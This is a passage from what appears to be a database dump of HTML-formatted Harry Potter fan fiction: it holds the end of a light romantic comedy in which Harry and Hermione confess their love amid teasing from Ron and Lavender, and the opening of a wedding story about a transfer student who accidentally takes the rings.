style="mso-bidi-font-style:\nnormal">Alright then</i>!&nbsp; No, no, no!&#8221; </p>\n\n<p class="MsoNormal">Hermione looked concerned for his sanity.&nbsp; &#8220;You <i style="mso-bidi-font-style:normal">want</i>\ndrama and angst?&nbsp; And did you just say\nhistrionics?&#8221;</p>\n\n<p class="MsoNormal">Harry attempted to get his breathing under control.&nbsp; He turned to face her fully and grabbed one\nof her hands.&nbsp; &#8220;Hermione, I love, and\nhave loved, you so much it scares me.&nbsp; I\nlook at you and I can&#8217;t see anyone else.&nbsp;\nI look at you and I think that I can defeat Voldemort, win every\nQuidditch game and raise three or four kids that have your remarkable\nintelligence and not blink.&#8221;&nbsp; He ran a\nhand through his hair distractedly.&nbsp;\n&#8220;Hermione, I&#8217;m seventeen years old, and I&#8217;m thinking about kids and\ngrowing old with you.&nbsp; There is no one\nelse on this planet like you.&nbsp; And you\njust said you loved me.&nbsp; And I just\nreacted like it was no big deal, like it didn&#8217;t surprise me in the slightest!&#8221;</p>\n\n<p class="MsoNormal">Hermione was smiling at him now.&nbsp; She reached over and put a hand on his\nface.&nbsp; Harry leaned into it, hungering\nfor her touch.&nbsp; &#8220;Harry, it didn&#8217;t\nsurprise you because you know this is right.&nbsp;\nI knew I loved you last year when I was still going out with Ron.&nbsp; I expended so much worry and energy over that\ndebacle that I think that I&#8217;ve used it all up.&nbsp;\nThis is right.&nbsp; This is natural,&#8221;\nshe said, leaning to rest her forehead on his.&nbsp;\n&#8220;I love you so much I wonder that I can think about anything else at\nall.&nbsp; And when you said you loved me, it\njust all fit into place.&nbsp; We belong\ntogether, Harry.&#8221; </p>\n\n<p class="MsoNormal">Harry looked at her in amazement, wondering at her\nincredible ability to say the right thing to him, and then grinned.&nbsp; &#8220;So, no dramatic pronouncements, then?&nbsp; No &#8216;I can never be with you, it would ruin\nour friendship&#8217;?&nbsp; No agonizing over\nthis?&#8221;</p>\n\n<p class="MsoNormal">Hermione grinned back.&nbsp;\n&#8220;Not today.&nbsp; I think I just feel\nrelief that this has finally happened.&nbsp;\nWe can do the theatrical bits tomorrow.&#8221;</p>\n\n<p class="MsoNormal">Harry nodded.&nbsp; &#8220;Tomorrow, then.&nbsp; Much hand-wringing and melodrama.&#8221;&nbsp; He gazed into her eyes, humor lighting them,\nwhen he felt something break inside him.&nbsp;\nHe had waited for this for so long, waited for her touch.&nbsp; And now she was here, right in front of him,\nand she said she loved him and he thought that if he didn&#8217;t kiss her right now,\nhe would die.&nbsp; <i style="mso-bidi-font-style:\nnormal">Perhaps we can have some melodrama today then</i>, a voice in the back\nof his head dryly stated.&nbsp; He leaned\ntowards her, and saw her eyes flutter close before he shut his eyes and--</p>\n\n<p class="MsoNormal">&#8220;Oi!&nbsp; What are you two <i style="mso-bidi-font-style:\nnormal">doing</i>?&#8221; Ron&#8217;s voice boomed.&nbsp; </p>\n\n<p class="MsoNormal">Harry and Hermione jerked back, flushing at the\ninterruption.&nbsp; They turned to see Ron and\nLavender walking up to them, Ron with a highly amused expression on his face,\nLavender with a speculative one on hers.&nbsp;\n</p>\n\n<p class="MsoNormal">Ron shook his head.&nbsp;\n&#8220;Harry, Harry, Harry.&nbsp; What are\nyou thinking, trying to do something like that outside in front of\neveryone?&nbsp; What will the children think?&#8221;</p>\n\n<p class="MsoNormal">Lavender nudged Ron.&nbsp;\n&#8220;I think you should be worrying about Head Girl Granger over here, losing\nher head like that.&nbsp; Doesn&#8217;t bode well\nfor the school rules if she can be so easily distracted,&#8221; she tsked, shaking her head.</p>\n\n<p class="MsoNormal">&#8220;Oh, come off it,&#8221; Hermione grumbled, getting to her feet,\npulling Harry up.&nbsp; He stood slightly\nbehind her, a hand resting on her hip.&nbsp;\n&#8220;Nothing happened.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Because we were here to stop you!&#8221;\nRon said earnestly.&nbsp; &#8220;Honestly, you\nshould thank us.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">Harry just rolled his eyes.</p>\n\n<p class="MsoNormal">Lavender was looking at them intently again.&nbsp; &#8220;So, you two are finally together, then?&#8221;</p>\n\n<p class="MsoNormal">Ron&#8217;s gaze snapped over to Lavender&#8217;s in surprise.&nbsp; &#8220;What do you mean, finally together?&#8221;</p>\n\n<p class="MsoNormal">Lavender shrugged.&nbsp;\n&#8220;Well, everyone thought that they would get together.&nbsp; They even have a betting pool going.&#8221;&nbsp; She looked thoughtful for a moment.&nbsp; &#8220;I wonder who&#8217;s going to win.&nbsp; Not me, that&#8217;s for sure.&nbsp; I was sure it was going to be at graduation.&nbsp; I even did a tea leaf reading about it.&#8221;</p>\n\n<p class="MsoNormal">Hermione leaned back and muttered, &#8220;Do you think they\nrealize we&#8217;re standing right here?&#8221;&nbsp;\nHarry just shook his head, fascinated with the discussion unfolding\nbefore him.&nbsp; </p>\n\n<p class="MsoNormal">Ron looked affronted.&nbsp;\n&#8220;I was going out with Hermione for a year and a half!&nbsp; People thought Harry and Hermione should date\neven then?&#8221;</p>\n\n<p class="MsoNormal">Lavender looked at him pityingly.&nbsp; &#8220;Please.&nbsp;\nEveryone knew that wouldn&#8217;t last.&nbsp;\nYou two are way too different to carry on a proper relationship.&#8221;</p>\n\n<p class="MsoNormal">&#8220;A proper relationship?&#8221; Ron shouted.&nbsp; &#8220;We were fifteen!&nbsp; What&#8217;s a proper relationship?&nbsp; Did you expect me to propose marriage?&#8221;</p>\n\n<p class="MsoNormal">Harry leaned forward and whispered,&nbsp; &#8220;You <i style="mso-bidi-font-style:\nnormal">are</i> a Weasley, Ron.&nbsp; Everyone\nprobably expected that you would start early.&#8221;</p>\n\n<p class="MsoNormal">Ron looked sourly at him.&nbsp;\n&#8220;You don&#8217;t talk.&nbsp; You&#8217;re trying to\nsnog my best friend.&nbsp; I&#8217;ll have to ask\nyour intentions.&#8221;</p>\n\n<p class="MsoNormal">&#8220;My intentions?!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Yes, your intentions.&nbsp;\nI have to see if <i style="mso-bidi-font-style:normal">you</i> can carry\non a &#8216;proper relationship&#8217;.&nbsp; But stop\ndistracting me.&nbsp; I want to know about\nthis &#8216;feeling&#8217; everyone had about you two and why no one had it about me and\nHermione!&#8221;</p>\n\n<p class="MsoNormal">Lavender sighed.&nbsp;\n&#8220;Ron, you and Hermione fought.&nbsp; It\nwas cute and people thought it meant you liked each other, and apparently it\ndid, but most people figured it wouldn&#8217;t last.&nbsp;\nYou two just don&#8217;t understand each other enough.&nbsp; Totally different\nattitudes.&nbsp; And Harry was always\nthere and he and Hermione do understand each other&#8212;don&#8217;t shake your head, Ron,\nif I can see it, you can too&#8212;in a way I&#8217;ve never seen before, so it was just a\nmatter of time before they realized it too.&#8221;&nbsp;\nShe shrugged.&nbsp; &#8220;Simple.&#8221;</p>\n\n<p class="MsoNormal">Ron was still shaking his head.&nbsp; &#8220;Simple.&nbsp;\nRight.&#8221;<br>\nLavender sighed again and turned to Hermione, an excited look passing over her\nface.&nbsp; &#8220;Did you two just get together\nnow?&nbsp; How did it happen?&nbsp; Are you really a couple?&nbsp; Are you going to tell anyone?&#8221; she asked in\nrapid succession.</p>\n\n<p class="MsoNormal">Hermione looked a little scared at Lavender&#8217;s enthusiasm,\nbut bravely answered the questions.&nbsp;\n&#8220;Yes, we just told each other that we loved them, yes and somehow I\ndoubt we&#8217;ll need to say anything.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Wait, you just told each other you loved them?&#8221;&nbsp; Lavender asked uncertainly.&nbsp; &#8220;Just like that?&nbsp; No misunderstandings, no &#8216;we can never be\ntogether&#8217;, no drama?&#8221;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re saving that for tomorrow,&#8221; Harry informed her.</p>\n\n<p class="MsoNormal">Lavender got a dreamy look in her eye.&nbsp; &#8220;How romantic.&#8221;</p>\n\n<p class="MsoNormal">Ron snorted.&nbsp;\n&#8220;Romantic?&nbsp; They&#8217;re planning on\nwhen they&#8217;re going to have problems.&nbsp;\nThis has Hermione written all over it.&#8221;</p>\n\n<p class="MsoNormal">Hermione was indignant.&nbsp;\n&#8220;Just because I like to have a little structure in my life doesn&#8217;t\nmean--&#8221;</p>\n\n<p class="MsoNormal">&#8220;I meant how they said they loved each other and they both\njust accepted it,&#8221; Lavender interrupted, looking at Ron.&nbsp; &#8220;They just knew it was right.&nbsp; No need to agonize.&nbsp; Romantic,&#8221; she sighed.</p>\n\n<p class="MsoNormal">&#8220;I think the word you&#8217;re looking for,&#8221; Ron said, &#8220;is <i style="mso-bidi-font-style:normal">boring</i>.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Shut <i style="mso-bidi-font-style:normal">up</i>, Ron,&#8221;\nHarry muttered as Hermione grew redder and redder.&nbsp; No one could wind her up like Ron and he was\nlooking at a full scale meltdown if he didn&#8217;t do something.</p>\n\n<p class="MsoNormal">Lavender continued as if she hadn&#8217;t heard anything.&nbsp; &#8220;Oh, and it happened by the lake and the wind\nwas probably playing with your hair, Hermione, and the sun was just beginning\nto set so the light was all soft and Harry probably thought you were so\nbeautiful&#8230;&#8221; she trailed off, sighing again.</p>\n\n<p class="MsoNormal">&#8220;Lavender,&#8221; Hermione said firmly, apparently deciding to\nignore Ron for now, &#8220;stop.&nbsp; You&#8217;re\nscaring me.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Oh, no, no, no,&#8221; Ron contradicted, trying to rile up\nHermione.&nbsp; &#8220;Go on.&nbsp; In excruciating detail if you want.&nbsp; I want to hear this.&nbsp; What about the grass?&nbsp; Any woodland creatures\nabout?&nbsp; What about the\nclouds?&nbsp; What were they like?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Shut up, Ron,&#8221; Lavender said serenely.&nbsp; &#8220;I&#8217;m happy about this and I&#8217;m happy for my\nfriends.&nbsp; But if you want to know about\nthe clouds,&#8221; she said, pausing to look up at the sky, &#8220;well, look, that one\nlooks a bit like an elephant, doesn&#8217;t it?&nbsp;\nAnd the sunset makes it look rather pink.&nbsp; A pink elephant was over Harry and Hermione!&#8221;\nshe giggled.</p>\n\n<p class="MsoNormal">Several things happened at once.&nbsp; Ron began choking.&nbsp; Hermione began snickering.&nbsp; Harry immediately took his hand off\nHermione&#8217;s hip and stuffed both hands into his trousers and blushed something\nfierce.&nbsp; Why did it have to come back to\npink elephants?</p>\n\n<p class="MsoNormal">Lavender was looking at them all in surprise.&nbsp; &#8220;What?&nbsp;\nWhat did I say?&nbsp; Ron, are\nyou&#8212;goodness, you need to breathe!&nbsp;\nHermione, why are you laughing like that?&nbsp; What&#8217;s going on?&#8221; she asked in frustration.</p>\n\n<p class="MsoNormal">&#8220;Pink elephants,&#8221; Ron managed to gasp finally, &#8220;mean Harry&#8217;s\npenis.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">Lavender frowned.&nbsp;\n&#8220;Wait, wait, wait.&nbsp; You&#8217;re telling me Harry has a name for his\npenis?&nbsp; You mean Harry <i style="mso-bidi-font-style:normal">has</i> a penis?&#8221;</p>\n\n<p class="MsoNormal">Silence immediately reigned.&nbsp;\nHarry thought everyone was in shock.&nbsp;\nHad Lavender just made a <i style="mso-bidi-font-style:normal">joke</i>?&nbsp; About his penis?&nbsp; </p>\n\n<p class="MsoNormal">&#8220;Seven years I waited to toss off a joke like that,&#8221;\nLavender muttered.&nbsp; &#8220;Seven years.&nbsp; And this is what I get.&nbsp; Silence.&nbsp; You know, you guys aren&#8217;t doing much to\nbolster my self-confidence.&#8221;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a little hard to laugh when you&#8217;re cracking jokes\nabout my bits,&#8221; Harry retorted.</p>\n\n<p class="MsoNormal">Ron and Hermione started to snigger.&nbsp; &#8220;Actually, it&#8217;s not,&#8221; Ron said.&nbsp; </p>\n\n<p class="MsoNormal">Harry slid his gaze over to Hermione.&nbsp; &#8220;Well?&#8221; he asked crossly.</p>\n\n<p class="MsoNormal">Hermione just shrugged and attempted to hide her laugh\nbehind her hand.&nbsp; &#8220;It was a little funny,\nHarry,&#8221; she mumbled.</p>\n\n<p class="MsoNormal">&#8220;Harry, there&#8217;s nothing to be ashamed of,&#8221; Lavender said\ngently.&nbsp; &#8220;I&#8217;m told most boys have names\nfor their bits.&#8221;</p>\n\n<p class="MsoNormal">Harry was sure this was another dream, just like fifth year,\nbecause he could not believe that Lavender was consoling him about naming his\ngenitalia.&nbsp; It was simply outside the\nrealm of reality.&nbsp; And he didn&#8217;t even\nhave a name for it!&nbsp; And if he did, it\ncertainly wouldn&#8217;t be Pink Elephant.&nbsp; It\nsounded like some sort of girly drink.</p>\n\n<p class="MsoNormal">&#8220;Harry Potter and the Pink Elephant!&#8221;\nRon hooted.&nbsp; &#8220;Lavender, you&#8217;re a genius!&#8221;</p>\n\n<p class="MsoNormal">&#8220;Shut up, Ron!&#8221; Harry bellowed.&nbsp; &#8220;I suppose you have a name for yours?&nbsp; Let&#8217;s hear it!&#8221;</p>\n\n<p class="MsoNormal">&#8220;The Eighth Weasley,&#8221; Lavender\npromptly replied.&nbsp; Ron looked at her in\nastonishment.&nbsp; Then Lavender pretended to\nscrew up her face in confusion, and started to make counting motions with her\nfingers.&nbsp; &#8220;Or wait, would it be&#8230;uh, the\nFifteenth Weasley?&nbsp; Or\npossibly the Sixteen or Seventeenth if you count Ginny and your mother first and\nthen go back through the boys.&nbsp;\nBut that wouldn&#8217;t make much sense, now would it?&#8221; she asked innocently.</p>\n\n<p class="MsoNormal">Harry watched as Ron gave Lavender a speculative glance,\nwondering if she had anything else hidden underneath besides a wicked sense of\nhumor.&nbsp; Ron glanced back over at Harry\nand the two shared a purely male look.&nbsp;\nHarry raised his eyebrows.&nbsp; Ron\ngrinned.&nbsp; He spun back to face Lavender.</p>\n\n<p class="MsoNormal">&#8220;No one insults the Fifteenth Weasley!&#8221;&nbsp; Ron roared and lunged at Lavender.&nbsp; Lavender shrieked and bolted off, laughing in\ndelight, Ron close on her heels.</p>\n\n<p class="MsoNormal">Harry chuckled, seeing them run off and turned to\nHermione.&nbsp; She was looking after them\nwith an affectionate smile on her face.&nbsp;\n&#8220;Who knew?&#8221; she murmured.&nbsp; A smirk\nappeared on her face then and she glanced up at Harry.&nbsp; &#8220;A pink elephant, hmm?&#8221;</p>\n\n<p class="MsoNormal">Harry rolled his eyes.&nbsp;\n&#8220;I can&#8217;t seem to get away from them.&#8221;</p>\n\n<p class="MsoNormal">She smiled and gently brushed his hair from his\nforehead.&nbsp; &#8220;I don&#8217;t think they&#8217;re so\nbad.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">A smirk twitched at the corner of Harry&#8217;s mouth.&nbsp; &#8220;I didn&#8217;t know you were that kind of girl,\nHermione,&#8221; he leered.</p>\n\n<p class="MsoNormal">&#8220;Oh, honestly, Harry,&#8221; she said, blushing a bit.&nbsp; &#8220;I didn&#8217;t mean it like that.&#8221;&nbsp; She paused and looked up coyly at him.&nbsp; &#8220;Well, maybe a bit.&#8221;</p>\n\n<p class="MsoNormal">Harry grinned and raised his hands to gently cup her\nface.&nbsp; His thumbs tenderly swept across\nher cheeks to her mouth.&nbsp; Her eyes\nfluttered closed.&nbsp; &#8220;I really, really want\nto kiss you,&#8221; he whispered.</p>\n\n<p class="MsoNormal">She opened her eyes.&nbsp;\n&#8220;You don&#8217;t have to ask, you know.&#8221;</p>\n\n<p class="MsoNormal">His gaze flickered down to her mouth and he slowly lowered\nhis head.&nbsp; His heart was pounding in\nnervousness and excitement.&nbsp; This was\nHermione, he thought.&nbsp; His best friend,\nthe girl he loved more than he thought possible.&nbsp; And he was going to kiss her.&nbsp; Just before their lips met, he stopped,\nwanting to memorize this moment.&nbsp; His\neyes shot up to hers.&nbsp; He could feel her\nbreath puff across his mouth.</p>\n\n<p class="MsoNormal">&#8220;Potter, if you don&#8217;t kiss me right now, I&#8217;ll do something\nimmensely nasty involving your pink elephant,&#8221; she muttered.</p>\n\n<p class="MsoNormal">&#8220;Temper, temper, Ms. Granger.&nbsp; Patience is a virtue,&#8221; he replied\nsoftly.&nbsp; He leaned forward slightly and\nhis lips finally met hers.</p>\n\n<p class="MsoNormal">It was everything he could have hoped and nothing like he\nhad dreamed.&nbsp; Her lips were soft, moving\nunderneath his, urging him to continue.&nbsp; Her\nlips opened and suddenly the kiss deepened and Harry thought he was drowning in\nHermione, which wasn&#8217;t a bad way to die.&nbsp;\nTheir minds, their hearts, their souls were intertwined and Harry\ncouldn&#8217;t imagine anything more freeing.</p>\n\n<p class="MsoNormal">She was everything.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">FIN</b></p>\n\n\n\n\n\n\n'),
	(92, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Uninvited Guest at the Wedding<br>\n<br>\nE. C. R. Potter<br>\n<br>\n<br>\nDisclaimer: The Harry Potter series belongs to J.K. Rowling and Waner Bros. Inc. I got the idea for the plot from the\nJapanese manga LOVE HINA by Ken Akamatsu.<br>\n<br>\n<br>\nIt all started on a sunny day during late August in Hogsmeade\nvillage. A young 14-year-old girl with frizzy brown hair, grayish blue eyes and\nfreckles was making her way towards the magnificent castle that was Hogwarts\nSchool of Witchcraft and Wizardry. Her name was Karen Roland, a transfer\nstudent from Beauxbatons. She was an American who had\nlived in France\nfor three years before coming to Britain.\nKaren stopped short, awed by the great castle.<br>\n<br>\n&#8216;OK Karen,&#8217; she thought. &#8216;This is the first day of your new life. You&#8217;re a\nHogwarts student now, not a Beauxbatons student. No\nmore arrogant French girls making fun of your looks and bookworm like nature.\nThings are going to be better!&#8217;<br>\n<br>\nKaren took a deep breath and made her way to the front door. Slowly, she pulled\nthem open and took her first step inside&#8230;<br>\n<br>\nA pitched alarm sounded and a sack of potatoes fell on her head! Karen screamed\nand keeled over as a piece of parchment with Weasley\nWizard Wheezes, courtesy of Gred and Forge written on\nit fell in front of her. A tall man in his early twenties with fiery red hair\nand tons of freckles ran up to Karen.<br>\n<br>\n&#8220;There you are! I was wondering when you were going to get here! What in\nHeaven&#8217;s name took you so long?! Where have you been all this time?! What&#8230;&#8221; The\nman took a good look at Karen. &#8220;You&#8217;re not Ginny.&#8221;<br>\n<br>\n&#8220;Ron, I&#8217;m over here,&#8221; called a red haired woman from the other side of the\nhall. It was clear that the two were brother and sister.<br>\n<br>\nThe man helped Karen up to her feet. &#8220;Who are you?&#8221; he asked.<br>\n<br>\n&#8220;Um&#8230;K-Karen Roland&#8230;I-I&#8217;m a transfer s-student f-from Beauxbatons.&#8221;<br>\n<br>\n&#8220;Aren&#8217;t you a little early? Hogwarts doesn&#8217;t start for another week.&#8221;<br>\n<br>\n&#8220;T-transfer s-students are s-supposed to arrive a\nw-week early.&#8221;<br>\n<br>\n&#8220;Well, you&#8217;ve got interesting timing,&#8221; said the man with a grin. &#8220;We&#8217;re going\nto be having a wedding here tomorrow morning. I&#8217;m Ron Weasley\nby the way, the best man. I work as an auror.&#8221; He\npointed to the woman. &#8220;That&#8217;s my sister, Ginny. She&#8217;s maid of honor.&#8221;<br>\n<br>\nKaren&#8217;s eyes went wide. &#8220;Virginia Weasley? The romance novelist?&#8221;<br>\n<br>\n&#8220;Well, yes,&#8221; said Ginny with a blush.<br>\n<br>\n&#8220;I&#8217;ve read all of your books! You write very well Miss Weasley!\nI&#8217;m a big fan of your books!&#8221; Karen turned back to Ron. &#8220;Um, I&#8217;m sorry to\nintrude but who&#8217;s wedding is it?&#8221;<br>\n<br>\n&#8220;Oh, Harry Potter.&#8221;<br>\n<br>\n&#8220;Oh, Harry Po&#8230;HARRY POTTER?! THE\nHARRY POTTER?!&#8221;<br>\n<br>\n&#8220;That&#8217;s right,&#8221; said Ginny with a grin. &#8220;This must be\nyour lucky day, intruding upon the wedding of the most famous wizard in the\nwhole world.&#8221;<br>\n<br>\nKaren couldn&#8217;t believe that she had chanced upon the wedding of the famous\nHarry Potter. Curiosity getting the better of her, she asked, &#8220;What&#8217;s the bride\nlike?&#8221;<br>\n<br>\nRon raised an eyebrow. &#8220;What, Hermione? Well let&#8217;s see now. She was at the top\nof our class every single year, passed all of her exams with an average of\n134%, got 16 O.W.L.s, full\nmarks on N.E.W.T.s, prefect, Head Girl&#8230;&#8221;<br>\n<br>\nKaren couldn&#8217;t help but think, &#8216;She sounds like some kind of Queen of the\nCastle.&#8217; She had an image of a tall sophisticated lady lording out to all of\nthe students and professors. &#8220;She sounds just perfect for the Harry Potter. I\ncan&#8217;t help but think how I&#8217;m just nothing but a bossy bookworm who will never\namount to anything.&#8221; Karen looked like she was about to cry.<br>\n<br>\nRon smiled and placed a hand on Karen&#8217;s shoulder. &#8220;Don&#8217;t feel downhearted about\nthat. I have a best friend who was also a bossy bookworm, whom was frightened\nthat she would never amount to anything. She eventually found happiness with my\nother best friend. If you never give up, then your dreams will eventually come\ntrue.&#8221; Karen couldn&#8217;t help but smile from Ron&#8217;s words.<br>\n<br>\n&#8220;Oooooooh, so Ron,&#8221; said Ginny with a sinister grin.\n&#8220;Does that mean that you haven&#8217;t completely given up on Hermione?&#8221;<br>\n<br>\n&#8220;What?!&#8221;<br>\n<br>\n&#8220;Admit it, you still have\nfeelings for her. Hoping she&#8217;ll forget about Harry and run off with you?&#8221;<br>\n<br>\nRon snorted. &#8220;Look who&#8217;s talking. In your most recent book, the groom runs off\nwith the maid of honor.&#8221;<br>\n<br>\n&#8216;I meant nothing by that.&#8221;<br>\n<br>\n&#8220;Than why is the maid of honor a red head and the bride a\nbrunette?&#8221;<br>\n<br>\n&#8220;Why you&#8230;&#8221; Ginny tackled Ron and the two started to\nfight like cats and dogs. Karen just stared at them when another pair of red\nheads, identical twins came by.<br>\n<br>\n&#8220;Hey look, Fred. Our little brother and sister are having a cat fight!&#8221;<br>\n<br>\n&#8220;Yeah, George. You know, we should sell tickets.&#8221; The\ntwins summoned a pair of chairs and some popcorn and continued watching Ron and\nGinny beat each other up.<br>\n<br>\n* * * * * * * * * * * *<br>\n<br>\nThat night, curiosity once again getting the better of her, Karen crept into\nRon&#8217;s room. &#8216;I can&#8217;t believe I&#8217;m doing this,&#8217; she thought. But she had an\ninsatiable urge to see the wedding rings. She slowly made her way to the coffee\ntable and picked up the velvet box that contained the two rings. It was then that\nanother Weasley Wizard Wheezes alarm rang out!<br>\n<br>\n&#8220;AAAAAAAAAAAAAAAAAAAHHHHHHHHHHHH!!!!!!!!!!!!&#8221; Panic\novercoming her, Karen dashed out of the room and continued running through the\ncastle. She barely registered that she still carried the two rings. Soon, the\nentire castle was awake searching for a burglar and Karen made a dash for the\nentrance hall. She had just made it outside when she collided into another\nyoung man flying on a broomstick. The broomstick lost control, and crashed into\nthe Whomping Willow!<br>\n<br>\n&#8220;Oh no! First I steal the rings. And now I&#8217;ve just\nkilled a man! I&#8217;m a murderer! AAAAAHHHHHHHHHHH!&#8221; Karen\nwas starting to get hysterical when the man suddenly got up and walked over to\nher with a smile on his face. &#8216;Is this man immortal?&#8217; thought Karen as she\nslumped to the ground.<br>\n<br>\n&#8220;Hey, who are you?&#8221; asked the man. He was a tall man in his early twenties with\nhopelessly messy raven black hair, emerald green eyes, and round rimless\nglasses. He was wearing a black muggle tuxedo under\nhis cloak.<br>\n<br>\n&#8220;I-I-I&#8230;uh&#8230;w-well&#8230;I-I&#8230;I&#8230;&#8221; Karen couldn&#8217;t form a coherent sentence. The\ngreen-eyed man suddenly noticed the velvet box in Karen&#8217;s hand. He also heard\nvoices from the castle that called &#8220;Burglar!&#8221; He immediately understood what\nhad happened.<br>\n<br>\n&#8220;Well, follow me,&#8221; he said with a smile. Before, Karen could protest, he\ngrabbed her hand and dragged her away.<br>\n<br>\n* * * * * * * * * * * *<br>\n<br>\nKaren woke up when sunlight hit her face. &#8220;What a horrible nightmare,&#8221; she\nmuttered as she pulled herself up. She suddenly noticed that she was on a dusty\nfour-poster bed in a dirty, shabby looking cottage. Furthermore, the green-eyed\nman was sitting in a corner. He seemed to have just woke\nup.<br>\n<br>\n&#8220;Good morning, sunshine,&#8221; he said with a grin.<br>\n<br>\n&#8216;Oh my God. I&#8217;ve been kidnapped by a mysterious man and\ntaken to some secluded hut!&#8217; &#8220;AAAAAAAAAAHHHHHHHHHHHH!&#8221;\nKaren started getting hysterical again.<br>\n<br>\n&#8220;Calm down,&#8221; said the man. &#8220;You&#8217;re in the Shrieking Shack. Just go through the\ntrap door down stairs and you&#8217;ll get back to Hogwarts.&#8221;<br>\n<br>\n&#8220;What? Why?&#8221;<br>\n<br>\n&#8220;Well you have to return the rings. Don&#8217;t worry; the chaos would&#8217;ve died down\nby now. And if I know Ron, he probably wouldn&#8217;t have even realized the rings\nare missing.&#8221;<br>\n<br>\n&#8220;But all that&#8230;&#8221;<br>\n<br>\n&#8220;That was only because you tripped the alarms. People probably thought it was a\ntrick played by Fred and George.&#8221;<br>\n<br>\nKaren timidly got up and made her way downstairs to the trap door. She was\nabout to go through it when the man called out, &#8220;Oh, and remember to prod the\nknot on one of the roots down there. The Whomping\nWillow doesn&#8217;t like being disturbed.&#8221;<br>\n<br>\n* * * * * * * * * * * *<br>\n<br>\nFred and George Weasley were at the front gates,\nushering guests in. &#8220;So who&#8217;s come so far?&#8221; asked George.<br>\n<br>\n&#8220;Well let&#8217;s see,&#8221; said Fred. &#8220;Neville Longbottom,\nSeamus Finnigan, Dean Thomas, Lavender Brown, Parvarti and Padma Patil, Colin and Dennis Creevy,\nJustin Finch-Fletchy, Cho\nChang, Katie Bell, Alicia Spinnet, Ernie Macmillan,\nHannah Abbot, Susan Bones&#8230;oh excuse me.&#8221; Fred made his way to a beautiful woman\nwho had just arrived. He said in (very fake) French accent, &#8220;Pardon moi, Mademoiselle, but would you care to have dinner with\nme?&#8221;<br>\n<br>\nThe woman faced him and said &#8220;Why, Fred Weasley, I\nwould be happy to have dinner with you.&#8221; Fred was absolutely stunned that this\nstranger knew him. He suddenly recognized her.<br>\n<br>\n&#8220;Angelina Johnson?&#8221;<br>\n<br>\n&#8220;What? Didn&#8217;t know who I was, Fred?&#8221; Angelina grinned\nand walked into the castle as George burst out laughing.<br>\n<br>\n&#8220;Hey, this where the wedding taking place?&#8221; called out a distinct Scottish\naccent. The twins rose to greet Oliver Wood.<br>\n<br>\nOther guests arrived: Fluer and Gabrielle Delacour, Victor Krum, Arthur, Molly, Bill, Charlie, and\nPercy Weasley, Penelope Clearwater (who was\naccompanying Percy), and Arabella Figg.\nAll of the Hogwarts professors (Dumbledore, McGonagall, Snape,\nSprout, Flitwick, Pomfrey,\nHooch, Vector, Sinestra) were already there. Professor\nTrelawny had also been invited but she had refused to\ncome, saying that her inner eye foretold disaster at the wedding.<br>\n<br>\nRon eventually came out to join his brothers. &#8220;Well, is everyone here?&#8221;<br>\n<br>\nGeorge said, &#8220;Still a few more to&#8230;oh, look who&#8217;s here.&#8221; Draco\nMalfoy came strolling to the castle, an arrogant look\non his face.<br>\n<br>\n&#8220;Oh, so you decided to come, ferret boy,&#8221; said Ron, a\nlook of disdain on his face. Draco scowled.<br>\n<br>\n&#8220;I&#8217;m surprised I&#8217;m here myself,&#8221; he sneered. &#8220;I suppose I was only invited for\ngood manners, which is the only reason why I&#8217;m here. I wouldn&#8217;t want to attend\nthe wedding of Potter and that mudb&#8230;ACK!&#8221; Draco&#8217;s shriek was a result of an electrical shock he felt\nwhen he tried to say the insulting word &#8220;mudblood&#8221;.\nThe Weasleys started snickering.<br>\n<br>\n&#8220;What was that?&#8221; demanded Draco.<br>\n<br>\n&#8220;What was what?&#8221; asked Ron with a grin. Fred and George were howling with\nlaughter.<br>\n<br>\n&#8220;When I tried to say mudb&#8230;ACK!&#8221; Another shock. The Weasleys were now clutching their sides with laughter.<br>\n<br>\n&#8220;Oh, we placed a charm on the castle so that if anybody used that word, they&#8217;ll\nfeel an electric shock,&#8221; said Ron after he calmed down a little.<br>\n<br>\n&#8220;What word? Mudb&#8230;ACK!&#8221; Draco\nfinally got the idea and stormed into the castle leaving the Weasleys in a very good mood.<br>\n<br>\n&#8220;So anyone else nasty coming,&#8221; asked Fred.<br>\n<br>\n&#8220;Harry invited the Dursleys for the sole reason of\nwanting to deliver them the invitation in person. He scared them out of their\nwits by arriving on a stormy night when the power had gone out, broke down the\ndoor, and spoke very politely and cheerfully to them. Dudley&#8217;s\nthe size of the Titanic now by the way. I doubt they&#8217;ll come though.&#8221;<br>\n<br>\nIt was when Sirius Black, Remus Lupin,\nand Rubeus Hagrid made\ntheir way to the Weasleys that Karen finally arrived.\nShe was a little nervous about approaching a half-giant, a werewolf, and an\nex-convict but she managed to strike up her courage and walk up to Ron.<br>\n<br>\n&#8220;Um, e-excuse me.&#8221;<br>\n<br>\nRon looked down at her and smiled. &#8220;Oh hi, it&#8217;s you again&#8230;huh? You&#8217;ve got the\nrings! Holy cow, I forgot all about the bloody rings! Where did you get them?\nNever mind, just follow me!&#8221; He grabbed Karen&#8217;s wrist and dragged her into the\ncastle. They eventually came to the portrait of the Fat Lady that was the\nentrance to the Gryffindor Common Room. Ron said the password and pulled Karen\nin.<br>\n<br>\nKaren&#8217;s breath stopped in her throat. In the Common Room was a beautiful woman\nwearing a bride&#8217;s dress. It was a pure white, satin, sleeveless gown with\nskirts that flared only a little. She wore a small tiara over her bride&#8217;s veil.\nShe had long brown hair that cascaded her oval face in ringlets and cinnamon\nbrown eyes that shone with loving-kindness. She only had the slightest hint of\nmakeup. Karen realized that this woman, Hermione Granger, was nothing like she\nhad imagined. She was a million times better.<br>\n<br>\n&#8220;Hello Ron. Who&#8217;s this?&#8221; asked Hermione. A beautiful smile made her face shine.<br>\n<br>\nKaren nervously stepped forward and introduced herself. Hermione 